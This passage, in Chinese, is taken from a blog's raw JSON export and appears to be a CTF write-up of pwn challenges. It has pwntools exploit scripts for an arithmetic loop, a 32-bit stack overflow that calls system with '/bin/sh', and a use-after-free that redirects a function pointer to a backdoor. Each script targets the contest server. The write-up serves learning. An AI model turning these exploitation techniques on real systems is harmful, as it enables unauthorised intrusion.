id=\"uf53e72d5\">\u540e\u9762\u5c31\u4e00\u76f4\u91cd\u590d<\/p>\n\n\n\n<p id=\"u2a0916a7\">\u201c\u770b\u770b\u8fd9\u9053\u9898\u600e\u4e48\u6837\uff1a 954 + 116 + 518 &#8211; 249 &#8211; 893 = ?<\/p>\n\n\n\n<p id=\"u7c30af09\">\u8bf7\u4f5c\u7b54:\u201d<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p id=\"u8a7e8bf3\">\u76f4\u63a5\u5199\u811a\u672c\u6765\u7b97\uff0c\u4f46\u662f\u5982\u679c\u7528while(1)\u6765\u8c03\u7528\u811a\u672c\u4f1a\u5361\u4f4f\uff0c\u56e0\u4e3a\u5e76\u4e0d\u77e5\u9053\u7a0b\u5e8f\u4ec0\u4e48\u65f6\u5019\u4f1a\u8fdb\u5165\u4e0b\u4e00\u6b65\uff0c\u7136\u540e\u8fd8\u4e00\u76f4p.recvuntil(&#8220;\u770b\u770b\u8fd9\u9053\u9898\u600e\u4e48\u6837\uff1a &#8220;)\uff0c\u80af\u5b9a\u63a5\u6536\u4e0d\u5230\uff0c\u90a3\u5c31\u7528\u7b28\u65b9\u6cd5\uff0c\u8bbe\u7f6e\u4e00\u4e2an\u6765\u8ba1\u7b97\u6bcf\u4e00\u6b21\u5361\u4f4f\u5faa\u73af\u4e86\u591a\u5c11\u6b21\u3002<\/p>\n\n\n\n<p id=\"u075d0971\">\u6d4b\u4e86\u51e0\u6b21\u90fd\u662f\u5728520\u5904\u505c\u4f4f\uff0c\u90a3\u4e48\u5c31\u5f97\u5230\u4e86\u5faa\u73af\u6b21\u6570519<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/OEPRGA@5A4VHQYTA7.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"459\" height=\"273\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/OEPRGA@5A4VHQYTA7.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-92\"  sizes=\"auto, (max-width: 459px) 100vw, 459px\" \/><\/div><\/figure>\n\n\n\n<p id=\"uef1dc61d\"><\/p>\n\n\n\n<p id=\"u551e74cf\">\u6700\u540e\u4e00\u6b21\u624b\u52a8\u8ba1\u7b97\uff0c\u7136\u540e\u5c31\u80fd\u62ff\u5230flag\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/O7YOPF_EBMW5OBNUCAP-1024x682.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"682\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/O7YOPF_EBMW5OBNUCAP-1024x682.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-93\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p id=\"u98df6f91\">\u5b8c\u6574exp\uff1a<\/p>\n\n\n\n<p id=\"u2d91ec0b\"><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *\n \ncontext.log_level='info'\n \np = remote(\"1.95.36.136\",2097)\n \ndef calc():\n \n\tp.recvuntil(\"\u770b\u770b\u8fd9\u9053\u9898\u600e\u4e48\u6837\uff1a \")\n \n\tnum=int(p.recvuntil(\" \",drop=True),10)\n \n\twhile(1):\n \n\t\tfuhao=p.recv(1)\n \n\t\tif (fuhao==b\"=\"):\n \n\t\t\tbreak\n \n\t\tp.recv(1)\n \n\t\tnum1=int(p.recvuntil(\" \",drop=True),10)\n \n\t\tif (fuhao==b\"+\"):\n \n\t\t\tnum=num+num1\n \n\t\telif (fuhao==b\"-\"):\n \n\t\t\tnum=num-num1\n \n\t\tp.sendline(str(num))\n \n\t\tn=0\n \n \n \np.sendline(b'1')\n \np.sendline(b'2')\n \np.sendline(b'22')\n\t\t\n \nfor i in range (519):\n \n\tn=n+1\n \n\tcalc()\n \n\tprint(n)\n \np.interactive()\n<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E3%80%90PWN%E3%80%91likelibc3\"><\/span>\u3010PWN\u3011likelibc3<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p id=\"uf8ed7790\">\u672c\u9898\u601d\u8def\u5982\u4e0b\uff1a<\/p>\n\n\n\n<p id=\"u0640b152\">\u672c\u9898\u4e3a32\u4f4d\uff0c\u7ed9\u4e86\u4e00\u4e2a\u6808\u6ea2\u51fa\u70b9\uff0c\u4e0d\u9650\u5236\u6ea2\u51fa\u957f\u5ea6\uff0c\u540c\u65f6\u4e5f\u7ed9\u4e86system\u548cbinsh\uff0c\u90a3\u5c31\u76f4\u63a5\u6253\u5c31\u884c\uff0c\u5982\u56fe\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/9MCYU3E7B4IVPAS5RSG-1024x419.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"419\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/9MCYU3E7B4IVPAS5RSG-1024x419.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-94\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/C8PO581U3CQE4CJ_K_4YB-1024x704.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"704\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/C8PO581U3CQE4CJ_K_4YB-1024x704.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-95\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p id=\"ub8b58089\">\u5b8c\u6574exp:<\/p>\n\n\n\n<p id=\"u02ad1bf8\"><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import*\n\np=remote(\"1.95.36.136\",2050)\n\ncontext.log_level=\"debug\"\n\n#p=process(\"\/home\/monke\/polard2024winter\/likelibc3\/likelibc3\")\n\nelf=ELF('\/home\/monke\/polard2024winter\/likelibc3\/likelibc3')\n\nbinsh=0x0804857c\n\nsystem=elf.sym&#91;\"system\"]\n\npayload=cyclic(44+4)+p32(system)+p32(0)+p32(binsh)\n\np.sendline(payload)\n\np.interactive()<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/YZM17ZLTS_AP@3BH-1024x505.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"505\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/YZM17ZLTS_AP@3BH-1024x505.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-96\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p id=\"u27b07168\"><br><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E3%80%90PWN%E3%80%91hack\"><\/span>\u3010PWN\u3011hack<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p id=\"ub2b63705\">\u7b80\u5355UAF\uff1b<\/p>\n\n\n\n<p id=\"u1a1d8864\">\u5148\u7533\u8bf7chunk1\uff0c\u518d\u7533\u8bf7chunk2\uff0c\u4f9d\u6b21free\u6389\uff0c\u6b64\u65f6fastbin\u91cc\u9762\u5c31\u6709chunk1\u548cchunk2\uff0c\u7136\u540e\u6211\u518d\u7533\u8bf7chunk3,\uff08\u7531\u4e8efastbin\u5148\u8fdb\u540e\u51fa\uff09\uff0cchunk3\u7684\u672c\u4f53\u5c31\u4f1a\u62ff\u5230chunk2\u7684\u5185\u5b58\uff0c\u7136\u540e\u7533\u8bf7chunk3\u7684content\u5b57\u6bb5\u8ddfchunk\u7ed3\u6784\u4f53\u5927\u5c0f\u4e00\u6837\uff088bytes\uff09\u7684\u8bdd\uff0c\u5c31\u4f1a\u628achunk1\u7684\u5185\u5b58\u5206\u914d\u7ed9\u5b83<\/p>\n\n\n\n<p id=\"u2c95b504\">\u6240\u4ee5\u6b64\u65f6\u4fee\u6539chunk3\u7684content\u5c31\u662f\u4fee\u6539chunk1\uff0c\u6539\u524d\u56db\u5b57\u8282\u4e3a\u540e\u95e8\u51fd\u6570\u7684\u5730\u5740\uff0c\u8c03\u7528print_note\uff0c\u5c31\u4f1a\u8c03\u7528\u540e\u95e8\u51fd\u6570\uff0c\u6210\u529f\u62ff\u5230flag<\/p>\n\n\n\n<p id=\"u8cb085ca\">exp\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *\n\nio = remote('1.95.36.136', 2112)\n\nelf = ELF('\/home\/monke\/polard2024winter\/hack\/hack')\n\nmagic = elf.sym&#91;\"magic\"]\n\ndef add(size, content):\n\nio.recvuntil(\"choice :\")\n\nio.sendline(\"1\")\n\nio.recvuntil(\":\")\n\nio.sendline(str(size))\n\nio.recvuntil(\":\")\n\nio.sendline(content)\n\ndef delete(idx):\n\nio.recvuntil(\"choice :\")\n\nio.sendline(\"2\")\n\nio.recvuntil(\":\")\n\nio.sendline(str(idx))\n\ndef show(idx):\n\nio.recvuntil(\"choice :\")\n\nio.sendline(\"3\")\n\nio.recvuntil(\":\")\n\nio.sendline(str(idx))\n\nadd(13, \"aaaa\")\n\nadd(13, \"aaaa\")\n\ndelete(1)\n\ndelete(0)\n\nadd(8, p32(magic))\n\nshow(1)\n\nio.interactive()<\/code><\/pre>\n\n\n\n<p id=\"ua8d28d4e\"><\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u3010PWN\u3011stack \uff08\u8986\u76d6rbp\u4fee\u6539bss\u53d8\u91cf\uff09 \u672c\u9898\u601d\u8def\u5982\u4e0b\uff1a main\u51fd\u6570\uff0c\u5224\u65adpasswd\u548cv4\u662f\u4e0d\u662f [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-54","post","type-post","status-publish","format-standard","hentry","category-game"],"_links":{"self":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/54","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/comments?post=54"}],"version-history":[{"count":8,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/54\/revisions"}],"predecessor-version":[{"id":877,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/54\/revisions\/877"}],"wp:attachment":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/media?parent=54"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/categories?post=54"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/tags?post=54"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}